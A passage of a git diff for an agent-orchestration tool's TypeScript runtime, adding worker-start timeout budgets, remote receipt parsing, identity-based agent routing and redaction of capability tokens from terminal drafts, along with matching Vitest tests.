   assertWorkerLaunchPreferencesRuntimeSupported,
   assertWorkerLaunchPreferencesCreateTerminal,
   createPendingWorkerLaunchReceipt,
-  resolveFederatedWorkerLaunchReceipt,
-  type OrchestrationWorkerLaunchReceipt
+  resolveFederatedWorkerLaunchReceipt
 } from './orchestration-worker-launch-preferences'
 import { validateFederatedWorkerStartPlacement } from './orchestration-worker-start-validation'
+import { resolveFederatedWorkerStartBudgets } from './orchestration-worker-start-budgets'
 import { resolveDispatchCreator } from './orchestration-dispatch-creator'
+import {
+  isReadyRemoteFederatedWorkerStartReceipt,
+  parseRemoteFederatedWorkerStartReceipt
+} from './orchestration-federated-attach-receipt'
+import { isWorkerStartTimeoutWithinTimerLimit } from '../../../../shared/orchestration-timing-budgets'
+import { federatedUnknownReceipt } from './orchestration-federated-worker-start-unknown-receipt'
 
 export async function startFederatedWorker(args: {
   params: WorkerStartInput
@@ -37,6 +43,12 @@ export async function startFederatedWorker(args: {
   }
 }): Promise<unknown> {
   const { params, runtime, db, task, runId, orchestrationMutation } = args
+  if (!isWorkerStartTimeoutWithinTimerLimit(params.timeoutMs)) {
+    throw new OrchestrationError(
+      'invalid_argument',
+      '--timeout-ms is too large for worker-start transport grace; the derived timeout must fit within the timer limit.'
+    )
+  }
   if (!orchestrationMutation) {
     throw new OrchestrationError(
       'invalid_argument',
@@ -58,13 +70,13 @@ export async function startFederatedWorker(args: {
     model: params.model,
     effort: params.effort
   })
-
   const server = runtime.resolveOrchestrationWorkerServer(params.on as string)
+  const budgets = resolveFederatedWorkerStartBudgets(params.timeoutMs)
   const status = (await runtime.callOrchestrationWorkerServer(
     server.environmentId,
     'status.get',
     undefined,
-    params.timeoutMs
+    budgets.preflightTimeoutMs
   )) as RuntimeStatus
   if (!status.capabilities?.includes(ORCHESTRATION_CONTRACT_RUNTIME_CAPABILITY)) {
     throw new OrchestrationError(
@@ -112,7 +124,7 @@ export async function startFederatedWorker(args: {
       terminal: params.terminal ?? null,
       agent: params.agent ?? null,
       launch: requestedLaunch,
-      timeoutMs: params.timeoutMs ?? 60_000,
+      timeoutMs: budgets.readinessTimeoutMs,
       setup: setupDecision,
       setupSource: createsWorktree
         ? params.setup
@@ -131,39 +143,42 @@ export async function startFederatedWorker(args: {
   })
   db.recordWorkerStage({ dispatchId: started.dispatch.id, stage: 'remote_attach_requested' })
   try {
-    const remote = (await runtime.callOrchestrationWorkerServer(
-      server.environmentId,
-      'orchestration.federationAttachStart',
-      {
-        dispatchId: started.dispatch.id,
-        taskId: task.id,
-        taskSpec: task.spec,
-        // Carry the home dispatch depth across the federation boundary so a
-        // remote worker cannot be mistaken for a root when it dispatches again.
-        depth: started.dispatch.depth,
-        protocolVersion: federationProtocolVersion,
-        worktree,
-        name: params.name,
-        repo: params.repo,
-        baseBranch: params.baseBranch,
-        displayName: params.displayName,
-        comment: params.comment,
-        setup: createsWorktree ? (params.setup ?? 'run') : undefined,
-        setupSource: createsWorktree
-          ? params.setup
-            ? 'explicit_request'
-            : 'orchestration_default'
-          : undefined,
-        terminal: params.terminal,
-        agent: params.agent,
-        model: params.model,
-        effort: params.effort,
-        timeoutMs: params.timeoutMs,
-        devMode: params.devMode
-      },
-      (params.timeoutMs ?? 60_000) + 15_000,
-      { orchestrationRequestId: orchestrationMutation.requestId }
-    )) as RemoteStartReceipt
+    const remote = parseRemoteFederatedWorkerStartReceipt(
+      await runtime.callOrchestrationWorkerServer(
+        server.environmentId,
+        'orchestration.federationAttachStart',
+        {
+          dispatchId: started.dispatch.id,
+          taskId: task.id,
+          taskSpec: task.spec,
+          // Carry the home dispatch depth across the federation boundary so a
+          // remote worker cannot be mistaken for a root when it dispatches again.
+          depth: started.dispatch.depth,
+          protocolVersion: federationProtocolVersion,
+          worktree,
+          name: params.name,
+          repo: params.repo,
+          baseBranch: params.baseBranch,
+          displayName: params.displayName,
+          comment: params.comment,
+          setup: createsWorktree ? (params.setup ?? 'run') : undefined,
+          setupSource: createsWorktree
+            ? params.setup
+              ? 'explicit_request'
+              : 'orchestration_default'
+            : undefined,
+          terminal: params.terminal,
+          agent: params.agent,
+          model: params.model,
+          effort: params.effort,
+          timeoutMs: budgets.readinessTimeoutMs,
+          devMode: params.devMode
+        },
+        budgets.attachDeadlineMs,
+        { orchestrationRequestId: orchestrationMutation.requestId },
+        { contractVerified: true }
+      )
+    )
     if (remote.dispatchId !== started.dispatch.id) {
       throw new OrchestrationError(
         'resource_server_mismatch',
@@ -175,7 +190,7 @@ export async function startFederatedWorker(args: {
       requestedLaunch,
       remote.state === 'ready'
     )
-    if (remote.state === 'ready' && remote.worktreeId && remote.terminalHandle) {
+    if (isReadyRemoteFederatedWorkerStartReceipt(remote)) {
       db.updateFederatedDispatchResources({
         dispatchId: started.dispatch.id,
         remoteRuntimeEpoch: remote.runtimeEpoch,
@@ -202,7 +217,7 @@ export async function startFederatedWorker(args: {
         server: { environmentId: server.environmentId, name: server.name },
         setup: remote.setup,
         launch,
-        timeoutMs: params.timeoutMs ?? 60_000,
+        timeoutMs: budgets.readinessTimeoutMs,
         effects: remote.effects ?? [],
         residualResources: remote.residualResources ?? []
       }
@@ -257,20 +272,6 @@ export async function startFederatedWorker(args: {
   }
 }
 
-type RemoteStartReceipt = {
-  dispatchId: string
-  state: string
-  runtimeEpoch: string
-  worktreeId?: string
-  terminalHandle?: string
-  setup?: { state: string }
-  launch?: OrchestrationWorkerLaunchReceipt
-  effects?: unknown[]
-  residualResources?: unknown[]
-  failedStage?: string
-  lastError?: string
-}
-
 function isKnownRemoteStartFailure(code: string): boolean {
   return [
     'invalid_argument',
@@ -280,27 +281,3 @@ function isKnownRemoteStartFailure(code: string): boolean {
     'capability_unsupported'
   ].includes(code)
 }
-
-function federatedUnknownReceipt(
-  worker: { dispatch_id: string; state: string; stage: string; last_error: string | null },
-  taskId: string,
-  serverName: string,
-  launch: OrchestrationWorkerLaunchReceipt
-): unknown {
-  return {
-    taskId,
-    dispatchId: worker.dispatch_id,
-    state: 'outcome_unknown',
-    stage: worker.stage,
-    server: { name: serverName },
-    launch,
-    failedStage: worker.stage,
-    lastError: worker.last_error,
-    effects: [],
-    residualResources: [],
-    nextCommands: [
-      `orca orchestration worker-show --dispatch ${worker.dispatch_id} --json`,
-      `orca orchestration worker-abandon --dispatch ${worker.dispatch_id} --json`
-    ]
-  }
-}
diff --git a/src/main/runtime/rpc/methods/orchestration-federation.ts b/src/main/runtime/rpc/methods/orchestration-federation.ts
index 4b48632c39a..421bf51586e 100644
--- a/src/main/runtime/rpc/methods/orchestration-federation.ts
+++ b/src/main/runtime/rpc/methods/orchestration-federation.ts
@@ -18,6 +18,10 @@ import {
 import { FederationAttachStartParams } from './orchestration-federation-start-schema'
 import { failFederatedAttachmentWithReceipt } from './orchestration-federation-start-receipt'
 import { prepareFederationAttachmentWorkerStart } from './orchestration-worker-start-validation'
+import {
+  isWorkerStartTimeoutWithinTimerLimit,
+  resolveWorkerStartReadinessTimeoutMs
+} from '../../../../shared/orchestration-timing-budgets'
 
 export const ORCHESTRATION_FEDERATION_ATTACH_METHODS: RpcMethod[] = [
   defineMethod({
@@ -30,6 +34,13 @@ export const ORCHESTRATION_FEDERATION_ATTACH_METHODS: RpcMethod[] = [
           'Federated worker attachment requires a durable retry request.'
         )
       }
+      if (!isWorkerStartTimeoutWithinTimerLimit(params.timeoutMs)) {
+        throw new OrchestrationError(
+          'invalid_argument',
+          '--timeout-ms is too large for worker-start transport grace; the derived timeout must fit within the timer limit.'
+        )
+      }
+      const readinessTimeoutMs = resolveWorkerStartReadinessTimeoutMs(params.timeoutMs)
       if (params.worktree === 'current' || params.worktree === 'new-child') {
         throw new OrchestrationError(
           'invalid_argument',
@@ -198,7 +209,7 @@ export const ORCHESTRATION_FEDERATION_ATTACH_METHODS: RpcMethod[] = [
         failedStage = 'agent_readiness'
         const wait = await runtime.waitForTerminal(terminalHandle, {
           condition: 'tui-idle',
-          timeoutMs: params.timeoutMs ?? 60_000
+          timeoutMs: readinessTimeoutMs
         })
         persistFederatedSetupWaitOutcome({ ...setupStage, wait })
         if (!wait.satisfied) {
diff --git a/src/main/runtime/rpc/methods/orchestration-migration-behavior.test.ts b/src/main/runtime/rpc/methods/orchestration-migration-behavior.test.ts
index 1d562e1ee5a..4e516e32fd3 100644
--- a/src/main/runtime/rpc/methods/orchestration-migration-behavior.test.ts
+++ b/src/main/runtime/rpc/methods/orchestration-migration-behavior.test.ts
@@ -1,10 +1,12 @@
 import { afterEach, describe, expect, it, vi } from 'vitest'
+import type { RuntimeRpcResponse } from '../../../../shared/runtime-rpc-envelope'
 import {
   ORCHESTRATION_CONTRACT_RUNTIME_CAPABILITY,
   ORCHESTRATION_FEDERATION_RUNTIME_CAPABILITY
 } from '../../../../shared/protocol-version'
 import { OrcaRuntimeService } from '../../orca-runtime'
 import { OrchestrationDb } from '../../orchestration/db'
+import type { OrchestrationEnvironmentTransport } from '../../orchestration/environment-transport'
 import { RpcDispatcher } from '../dispatcher'
 import { ORCHESTRATION_METHODS } from './orchestration'
 import { startFederatedWorker } from './orchestration-federated-worker-start'
@@ -246,4 +248,83 @@ describe('orchestration migration behavior', () => {
     expect(db.getTask(task.id)?.status).toBe('ready')
     expect(db.getDispatchContext(task.id)).toBeUndefined()
   })
+
+  it('runs one real contract preflight before federated attach', async () => {
+    const db = new OrchestrationDb(':memory:')
+    const run = db.createRun({
+      objective: 'federated worker',
+      coordinatorHandle: 'term_coord',
+      coordinatorPaneKey: 'tab_coord:tab'
+    })
+    const task = db.createTask({ spec: 'remote work', runId: run.id })
+    databases.push(db)
+
+    const calls: { method: string; params: unknown }[] = []
+    const runtime = new OrcaRuntimeService(null, undefined, {
+      orchestrationEnvironmentTransport: {
+        resolve: () => ({
+          environmentId: 'environment_windows',
+          name: 'windows',
+          peerFingerprint: 'windows_peer'
+        }),
+        call: async (_selector, method, params) => {
+          calls.push({ method, params })
+          if (method === 'status.get') {
+            return {
+              id: 'status',
+              ok: true,
+              result: {
+                ...runtime.getStatus(),
+                capabilities: [
+                  ORCHESTRATION_CONTRACT_RUNTIME_CAPABILITY,
+                  ORCHESTRATION_FEDERATION_RUNTIME_CAPABILITY
+                ]
+              },
+              _meta: { runtimeId: runtime.getRuntimeId() }
+            } satisfies RuntimeRpcResponse<unknown>
+          }
+          return {
+            id: 'attach',
+            ok: true,
+            result: {
+              dispatchId: (params as { dispatchId: string }).dispatchId,
+              state: 'outcome_unknown',
+              runtimeEpoch: 'worker-runtime'
+            },
+            _meta: { runtimeId: runtime.getRuntimeId() }
+          } satisfies RuntimeRpcResponse<unknown>
+        }
+      } satisfies OrchestrationEnvironmentTransport
+    })
+    runtime.setOrchestrationDb(db)
+
+    const result = await startFederatedWorker({
+      params: {
+        task: task.id,
+        from: 'term_coord',
+        on: 'windows',
+        worktree: 'new-top-level',
+        repo: 'id:windows-repo',
+        name: 'remote-work',
+        agent: 'codex'
+      },
+      runtime,
+      db,
+      runId: run.id,
+      task,
+      orchestrationMutation: {
+        callerFingerprint: 'caller',
+        requestId: 'remote_start',
+        method: 'orchestration.workerStart',
+        payloadHash: 'payload'
+      }
+    })
+
+    expect(result).toMatchObject({ state: 'outcome_unknown' })
+    expect(calls.map(({ method }) => method)).toEqual([
+      'status.get',
+      'orchestration.federationAttachStart'
+    ])
+    expect(calls.filter(({ method }) => method === 'status.get')).toHaveLength(1)
+  })
 })
diff --git a/src/main/runtime/rpc/methods/orchestration-send.test.ts b/src/main/runtime/rpc/methods/orchestration-send.test.ts
index 36eaaa8b0a9..e4312c34a3a 100644
--- a/src/main/runtime/rpc/methods/orchestration-send.test.ts
+++ b/src/main/runtime/rpc/methods/orchestration-send.test.ts
@@ -591,7 +591,10 @@ describe('orchestration RPC methods', () => {
         connected: opts.connected ?? true,
         writable: opts.writable ?? true,
         lastOutputAt: opts.lastOutputAt ?? null,
-        preview: opts.preview ?? ''
+        preview: opts.preview ?? '',
+        // Why spread: absent `agentIdentity` means unknown, so the helper must be able to
+        // produce a summary that genuinely lacks the field.
+        ...(opts.agentIdentity ? { agentIdentity: opts.agentIdentity } : {})
       }
     }
 
@@ -726,11 +729,11 @@ describe('orchestration RPC methods', () => {
       expect(result.messages[0].to_handle).toBe('term_b')
     })
 
-    it('fans out agent name group (@claude) by title match', async () => {
+    it('fans out an agent name group by host-resolved identity', async () => {
       setupWithTerminals([
-        makeSummary('term_a', { title: 'Claude Code' }),
-        makeSummary('term_b', { title: 'Claude Code' }),
-        makeSummary('term_c', { title: 'Codex' })
+        makeSummary('term_a', { agentIdentity: 'claude' }),
+        makeSummary('term_b', { agentIdentity: 'claude' }),
+        makeSummary('term_c', { agentIdentity: 'codex' })
       ])
 
       const result = (await call('orchestration.send', {
@@ -743,11 +746,13 @@ describe('orchestration RPC methods', () => {
       expect(result.messages[0].to_handle).toBe('term_b')
     })
 
-    it('fans out @droid by title match', async () => {
+    it('fans out @droid without claiming a pane whose title merely contains the word', async () => {
       setupWithTerminals([
-        makeSummary('term_a', { title: 'Codex' }),
-        makeSummary('term_b', { title: 'Droid ready' }),
-        makeSummary('term_c', { title: 'Android build' })
+        makeSummary('term_a', { agentIdentity: 'codex' }),
+        makeSummary('term_b', { agentIdentity: 'droid' }),
+        // Why kept: "Android build" contains `droid` as a substring. It was excluded before by
+        // whole-token matching and is excluded now because its identity is not droid.
+        makeSummary('term_c', { agentIdentity: 'claude', title: 'Android build' })
       ])
 
       const result = (await call('orchestration.send', {
@@ -760,11 +765,12 @@ describe('orchestration RPC methods', () => {
       expect(result.messages[0].to_handle).toBe('term_b')
     })
 
-    it('fans out @cursor by title match without claiming a cursor-mentioning title', async () => {
+    it('fans out @cursor without claiming a Claude pane discussing a text cursor', async () => {
       setupWithTerminals([
-        makeSummary('term_a', { title: 'Codex' }),
-        makeSummary('term_b', { title: 'Cursor ready' }),
-        makeSummary('term_c', { title: '✳ Fix the text cursor blink' })
+        makeSummary('term_a', { agentIdentity: 'codex' }),
+        makeSummary('term_b', { agentIdentity: 'cursor' }),
+        // The original hazard, now excluded structurally rather than by a bespoke predicate.
+        makeSummary('term_c', { agentIdentity: 'claude', title: '✳ Fix the text cursor blink' })
       ])
 
       const result = (await call('orchestration.send', {
diff --git a/src/main/runtime/rpc/methods/orchestration-worker-archive-read.ts b/src/main/runtime/rpc/methods/orchestration-worker-archive-read.ts
index 29e01e45558..1830944c98c 100644
--- a/src/main/runtime/rpc/methods/orchestration-worker-archive-read.ts
+++ b/src/main/runtime/rpc/methods/orchestration-worker-archive-read.ts
@@ -206,6 +206,7 @@ function readArchivedTerminalTail(
       handle: args.resource.terminal_handle,
       status: 'exited',
       tail,
+      ...(!cursor && content.draft ? { draft: content.draft } : {}),
       truncated: content.truncated,
       nextCursor,
       returnedLineCount: tail.length
diff --git a/src/main/runtime/rpc/methods/orchestration-worker-output.test.ts b/src/main/runtime/rpc/methods/orchestration-worker-output.test.ts
index 0e24a6bced8..d1349c92454 100644
--- a/src/main/runtime/rpc/methods/orchestration-worker-output.test.ts
+++ b/src/main/runtime/rpc/methods/orchestration-worker-output.test.ts
@@ -157,6 +157,31 @@ describe('exact orchestration worker output', () => {
     expect(JSON.stringify(result)).not.toContain(capability)
   })
 
+  it('redacts dispatch capabilities from terminal composer drafts', async () => {
+    const capability = `dcap_${'A'.repeat(43)}`
+    readTerminal.mockResolvedValue({
+      handle: 'term_worker',
+      status: 'running',
+      tail: ['safe output'],
+      draft: `send --dispatch-capability ${capability}`,
+      truncated: false,
+      nextCursor: '9'
+    })
+    providerSession = null
+
+    const result = await read()
+
+    expect(result).toMatchObject({
+      source: 'terminal',
+      terminal: {
+        tail: ['safe output'],
+        draft: 'send --dispatch-capability [dispatch capability redacted]'
+      },
+      warnings: ['Dispatch capability tokens were redacted from terminal output.']
+    })
+    expect(JSON.stringify(result)).not.toContain(capability)
+  })
+
   it('rejects an old cursor after the exact provider session changes', async () => {
     const initial = await read()
     if (initial.source !== 'transcript') {
diff --git a/src/main/runtime/rpc/methods/orchestration-worker-output.ts b/src/main/runtime/rpc/methods/orchestration-worker-output.ts
index bd63da46546..b559b4cae6a 100644
--- a/src/main/runtime/rpc/methods/orchestration-worker-output.ts
+++ b/src/main/runtime/rpc/methods/orchestration-worker-output.ts
@@ -135,7 +135,12 @@ async function readTerminalOutput(
     cursor: cursor?.source === 'terminal' ? cursor.position : undefined,
     limit: args.limit
   })
-  const redactedTerminal = redactWorkerTerminalLines(terminal.tail)
+  const redactedTerminal = redactWorkerTerminalLines([
+    ...terminal.tail,
+    ...(terminal.draft ? [terminal.draft] : [])
+  ])
+  const redactedTail = redactedTerminal.lines.slice(0, terminal.tail.length)
+  const redactedDraft = terminal.draft ? redactedTerminal.lines.at(-1) : undefined
   const position =
     terminal.nextCursor !== null && /^\d+$/.test(terminal.nextCursor)
       ? Number.parseInt(terminal.nextCursor, 10)
@@ -148,7 +153,11 @@ async function readTerminalOutput(
     dispatchId: args.dispatchId,
     source: 'terminal',
     sourceIdentity,
-    terminal: { ...terminal, tail: redactedTerminal.lines },
+    terminal: {
+      ...terminal,
+      tail: redactedTail,
+      ...(redactedDraft ? { draft: redactedDraft } : {})
+    },
     cursor: nextCursor,
     status: {
       worker: args.workerState,
diff --git a/src/main/runtime/rpc/methods/orchestration-worker-release.test.ts b/src/main/runtime/rpc/methods/orchestration-worker-release.test.ts
index 9563a848880..b32fb7756bd 100644
--- a/src/main/runtime/rpc/methods/orchestration-worker-release.test.ts
+++ b/src/main/runtime/rpc/methods/orchestration-worker-release.test.ts
@@ -587,6 +587,7 @@ describe('orchestration worker release', () => {
       handle: 'term_worker',
       status: 'running',
       tail: ['first line', `capability dcap_${'a'.repeat(24)} leaked`, 'last line'],
+      draft: `send --dispatch-capability dcap_${'b'.repeat(24)}`,
       truncated: false,
       nextCursor: '3'
     })
@@ -596,19 +597,24 @@ describe('orchestration worker release', () => {
     const page1 = (await call('orchestration.workerRead', {
       dispatch: dispatchId,
       limit: 2
-    })) as { archived?: boolean; terminal: { tail: string[] }; cursor: string | null }
-    expect(page1.archived).toBe(true)
+    })) as {
+      archived?: boolean
+      terminal: { tail: string[]; draft?: string }
+      cursor: string | null
+    }
     expect(page1.terminal.tail).toEqual([
       'first line',
       'capability [dispatch capability redacted] leaked'
     ])
+    expect(page1.terminal.draft).toBe('send --dispatch-capability [dispatch capability redacted]')
     expect(page1.cursor).not.toBeNull()
 
     const page2 = (await call('orchestration.workerRead', {
       dispatch: dispatchId,
       cursor: page1.cursor as string
-    })) as { terminal: { tail: string[] }; cursor: string | null }
+    })) as { terminal: { tail: string[]; draft?: string }; cursor: string | null }
     expect(page2.terminal.tail).toEqual(['last line'])
+    expect(page2.terminal.draft).toBeUndefined()
     expect(page2.cursor).toBeNull()
     // The live terminal is never consulted after release.
     expect(runtime.readTerminal).not.toHaveBeenCalled()
diff --git a/src/main/runtime/rpc/methods/orchestration-worker-start-budgets.test.ts b/src/main/runtime/rpc/methods/orchestration-worker-start-budgets.test.ts
new file mode 100644
index 00000000000..6e600dd5177
--- /dev/null
+++ b/src/main/runtime/rpc/methods/orchestration-worker-start-budgets.test.ts
@@ -0,0 +1,34 @@
+import { describe, expect, it } from 'vitest'
+import { MAX_TIMER_DELAY_MS } from '../../../../shared/timer-delay'
+import {
+  ORCHESTRATION_READINESS_TIMEOUT_MS,
+  ORCHESTRATION_WORKER_START_CLIENT_GRACE_MS
+} from '../../../../shared/orchestration-timing-budgets'
+import { resolveFederatedWorkerStartBudgets } from './orchestration-worker-start-budgets'
+
+describe('worker-start transport budgets', () => {
+  it('keeps the exact maximum derived timeout representable', () => {
+    const timeoutMs = MAX_TIMER_DELAY_MS - ORCHESTRATION_WORKER_START_CLIENT_GRACE_MS
+    const budgets = resolveFederatedWorkerStartBudgets(timeoutMs, 1_000)
+    expect(budgets.outerDeadlineMs).toBe(1_000 + MAX_TIMER_DELAY_MS)
+  })
+
+  it('does not silently shorten an overflowing request', () => {
+    const timeoutMs = MAX_TIMER_DELAY_MS - ORCHESTRATION_WORKER_START_CLIENT_GRACE_MS + 1
+    expect(() => resolveFederatedWorkerStartBudgets(timeoutMs, 1_000)).toThrow(
+      'derived timeout must fit'
+    )
+  })
+
+  it('normalizes non-positive requests to the ordinary readiness default', () => {
+    const expectedOuterDeadline =
+      1_000 + ORCHESTRATION_READINESS_TIMEOUT_MS + ORCHESTRATION_WORKER_START_CLIENT_GRACE_MS
+    expect(resolveFederatedWorkerStartBudgets(0, 1_000).readinessTimeoutMs).toBe(
+      ORCHESTRATION_READINESS_TIMEOUT_MS
+    )
+    expect(resolveFederatedWorkerStartBudgets(0, 1_000).outerDeadlineMs).toBe(expectedOuterDeadline)
+    expect(resolveFederatedWorkerStartBudgets(-1, 1_000).outerDeadlineMs).toBe(
+      expectedOuterDeadline
+    )
+  })
+})
diff --git a/src/main/runtime/rpc/methods/orchestration-worker-start-budgets.ts b/src/main/runtime/rpc/methods/orchestration-worker-start-budgets.ts
new file mode 100644
index 00000000000..de5f3db40d9
--- /dev/null
+++ b/src/main/runtime/rpc/methods/orchestration-worker-start-budgets.ts
@@ -0,0 +1,32 @@
+import {
+  ORCHESTRATION_CONTRACT_PREFLIGHT_TIMEOUT_MS,
+  isWorkerStartTimeoutWithinTimerLimit,
+  resolveFederationAttachDeadlineMs,
+  resolveWorkerStartReadinessTimeoutMs,
+  resolveWorkerStartClientTimeoutMs
+} from '../../../../shared/orchestration-timing-budgets'
+
+export function resolveFederatedWorkerStartBudgets(
+  timeoutMs: number | undefined,
+  nowMs = Date.now()
+) {
+  if (!isWorkerStartTimeoutWithinTimerLimit(timeoutMs)) {
+    throw new Error(
+      '--timeout-ms is too large for worker-start transport grace; the derived timeout must fit within the timer limit.'
+    )
+  }
+  // Normalize non-positive/invalid values exactly as the client does so local
+  // and federated transports share the ordinary default contract.
+  const readinessTimeoutMs = resolveWorkerStartReadinessTimeoutMs(timeoutMs)
+  const outerDeadlineMs = nowMs + resolveWorkerStartClientTimeoutMs(readinessTimeoutMs)
+  return {
+    readinessTimeoutMs,
+    outerDeadlineMs,
+    preflightTimeoutMs: ORCHESTRATION_CONTRACT_PREFLIGHT_TIMEOUT_MS,
+    attachDeadlineMs: resolveFederationAttachDeadlineMs({
+      readinessTimeoutMs,
+      outerDeadlineMs,
+      nowMs
+    })
+  }
+}
diff --git a/src/main/runtime/rpc/methods/orchestration-workers.ts b/src/main/runtime/rpc/methods/orchestration-workers.ts
index 0b8891481cd..61271525939 100644
--- a/src/main/runtime/rpc/methods/orchestration-workers.ts
+++ b/src/main/runtime/rpc/methods/orchestration-workers.ts
@@ -22,6 +22,10 @@ import { failWorkerStartWithReceipt } from './orchestration-worker-start-receipt
 import { prepareLocalWorkerStart } from './orchestration-worker-start-validation'
 import { resolveDispatchCreator } from './orchestration-dispatch-creator'
 import { resolveOrchestrationCaller } from './orchestration-run-scope'
+import {
+  isWorkerStartTimeoutWithinTimerLimit,
+  resolveWorkerStartReadinessTimeoutMs
+} from '../../../../shared/orchestration-timing-budgets'
 
 export const ORCHESTRATION_WORKER_START_METHODS: RpcMethod[] = [
   defineMethod({
@@ -31,6 +35,13 @@ export const ORCHESTRATION_WORKER_START_METHODS: RpcMethod[] = [
       params,
       { runtime, orchestrationMutation, orchestrationCompatibilityEvidence }
     ) => {
+      if (!isWorkerStartTimeoutWithinTimerLimit(params.timeoutMs)) {
+        throw new OrchestrationError(
+          'invalid_argument',
+          `--timeout-ms is too large for worker-start transport grace; the derived timeout must fit within the timer limit.`
+        )
+      }
+      const readinessTimeoutMs = resolveWorkerStartReadinessTimeoutMs(params.timeoutMs)
       const db = runtime.getOrchestrationDb()
       // Why: worker-start was the only Run-scoped verb that skipped this, so a
       // declared --from could name someone else's pane and inherit their depth.
@@ -111,7 +122,7 @@ export const ORCHESTRATION_WORKER_START_METHODS: RpcMethod[] = [
         terminal: params.terminal ?? null,
         agent: agent ?? null,
         launch: launch.receipt,
-        timeoutMs: params.timeoutMs ?? 60_000,
+        timeoutMs: readinessTimeoutMs,
         setup: createsWorktree ? (params.setup ?? 'run') : 'not_applicable',
         setupSource: createsWorktree
           ? params.setup
@@ -208,7 +219,7 @@ export const ORCHESTRATION_WORKER_START_METHODS: RpcMethod[] = [
         failedStage = 'agent_readiness'
         const wait = await runtime.waitForTerminal(terminalHandle, {
           condition: 'tui-idle',
-          timeoutMs: params.timeoutMs ?? 60_000
+          timeoutMs: readinessTimeoutMs
         })
         persistWorkerSetupWaitOutcome({ ...setupStage, wait })
         if (!wait.satisfied) {
@@ -268,7 +279,7 @@ export const ORCHESTRATION_WORKER_START_METHODS: RpcMethod[] = [
           stage: worker.stage,
           setup: setupReceipt,
           launch: launch.receipt,
-          timeoutMs: params.timeoutMs ?? 60_000,
+          timeoutMs: readinessTimeoutMs,
           effects,
           residualResources: [],
           ...(terminalRevealWarning ? { warning: terminalRevealWarning } : {})
diff --git a/src/main/runtime/rpc/methods/worktree-create-args.test.ts b/src/main/runtime/rpc/methods/worktree-create-args.test.ts
index fa2b773560b..5a55d54460f 100644
--- a/src/main/runtime/rpc/methods/worktree-create-args.test.ts
+++ b/src/main/runtime/rpc/methods/worktree-create-args.test.ts
@@ -26,4 +26,19 @@ describe('buildManagedWorktreeCreateArgs', () => {
       nameWasGenerated: true
     })
   })
+
+  it('carries the parent-pick provenance only when the client marked it manual', () => {
+    // Why: older clients never send it, and those creates really are CLI-flag equivalents.
+    expect(
+      build({ repo: 'id:repo-1', name: 'child', parentWorkspace: 'folder:f1' }).lineage
+    ).not.toHaveProperty('parentWorkspaceOrigin')
+    expect(
+      build({
+        repo: 'id:repo-1',
+        name: 'child',
+        parentWorkspace: 'folder:f1',
+        parentWorkspaceOrigin: 'manual'
+      }).lineage
+    ).toMatchObject({ parentWorkspaceOrigin: 'manual' })
+  })
 })
diff --git a/src/main/runtime/rpc/methods/worktree-create-args.ts b/src/main/runtime/rpc/methods/worktree-create-args.ts
index 2b86b12ee05..ac674f08d61 100644
--- a/src/main/runtime/rpc/methods/worktree-create-args.ts
+++ b/src/main/runtime/rpc/methods/worktree-create-args.ts
@@ -80,6 +80,7 @@ export function buildManagedWorktreeCreateArgs(
     startupDraft: params.startupDraft,
     lineage: {
       parentWorkspace: params.parentWorkspace,
+      ...(params.parentWorkspaceOrigin ? { parentWorkspaceOrigin: 'manual' as const } : {}),
       envParentWorkspace: params.envParentWorkspace,
       parentWorktree: params.parentWorktree,
       ...(params.cwdParentWorktree ? { cwdParentWorktree: params.cwdParentWorktree } : {}),
diff --git a/src/main/runtime/rpc/methods/worktree-create-schemas.ts b/src/main/runtime/rpc/methods/worktree-create-schemas.ts
index 507f44b325b..e296b9c3ace 100644
--- a/src/main/runtime/rpc/methods/worktree-create-schemas.ts
+++ b/src/main/runtime/rpc/methods/worktree-create-schemas.ts
@@ -75,6 +75,9 @@ export const WorktreeCreate = z
     // startup and defaultTabs. Pass an explicit target to opt into an all-surface reveal.
     navigation: z.enum(RUNTIME_NAVIGATION_TARGETS).optional(),
     parentWorkspace: OptionalString,
+    // Why: an app-selected parent is a manual action, not the CLI's `--parent-workspace` flag.
+    // Absent keeps the CLI provenance older clients rely on.
+    parentWorkspaceOrigin: z.literal('manual').optional(),
     envParentWorkspace: OptionalString,
     parentWorktree: OptionalString,
     cwdParentWorktree: OptionalString,
diff --git a/src/main/runtime/runtime-rpc-long-poll-transport.test.ts b/src/main/runtime/runtime-rpc-long-poll-transport.test.ts
index 43279ea7931..74dbe9e0cde 100644
--- a/src/main/runtime/runtime-rpc-long-poll-transport.test.ts
+++ b/src/main/runtime/runtime-rpc-long-poll-transport.test.ts
@@ -6,7 +6,7 @@ import { describe, expect, it, vi } from 'vitest'
 import { OrcaRuntimeService } from './orca-runtime'
 import { OrchestrationDb } from './orchestration/db'
 import { readRuntimeMetadata } from './runtime-metadata'
-import { OrcaRuntimeRpcServer } from './runtime-rpc'
+import { classifyRuntimeLongPoll, OrcaRuntimeRpcServer } from './runtime-rpc'
 import {
   sendRequest,
   openFramedSession,
@@ -33,6 +33,36 @@ vi.mock('../git/worktree', () => {
 })
 
 describe('OrcaRuntimeRpcServer', () => {
+  it('classifies worker-start as a keepalive-backed long poll', () => {
+    expect(
+      classifyRuntimeLongPoll({
+        id: 'req_worker_start',
+        authToken: 'token',
+        method: 'orchestration.workerStart',
+        params: { task: 'task_1', timeoutMs: 60_000 }
+      })
+    ).toBe('wait')
+  })
+
+  it('keeps agent-prompt submission sockets alive during verification', () => {
+    expect(
+      classifyRuntimeLongPoll({
+        id: 'req_prompt',
+        authToken: 'token',
+        method: 'terminal.send',
+        params: { agentPrompt: true }
+      })
+    ).toBe('wait')
+    expect(
+      classifyRuntimeLongPoll({
+        id: 'req_direct',
+        authToken: 'token',
+        method: 'terminal.send',
+        params: { agentPrompt: false }
+      })
+    ).toBeNull()
+  })
+
   it('rejects oversized RPC frames instead of buffering them indefinitely', async () => {
     const userDataPath = mkdtempSync(join(tmpdir(), 'orca-runtime-rpc-'))
     const runtime = new OrcaRuntimeService()
@@ -74,6 +104,45 @@ describe('OrcaRuntimeRpcServer', () => {
   // Exercise the real socket (not a mock) so we catch buffer/flush regressions
   // that a unit-level test would miss.
   describe('long-poll transport (§3.1)', () => {
+    it('emits keepalives while orchestration.workerStart blocks', async () => {
+      const userDataPath = mkdtempSync(join(tmpdir(), 'orca-runtime-rpc-'))
+      const runtime = new OrcaRuntimeService()
+      const server = new OrcaRuntimeRpcServer({
+        runtime,
+        userDataPath,
+        keepaliveIntervalMs: 30
+      })
+      const dispatch = server['dispatcher']
+      vi.spyOn(dispatch, 'dispatch').mockImplementation(async (request) => {
+        await sleep(120)
+        return {
+          id: request.id,
+          ok: true,
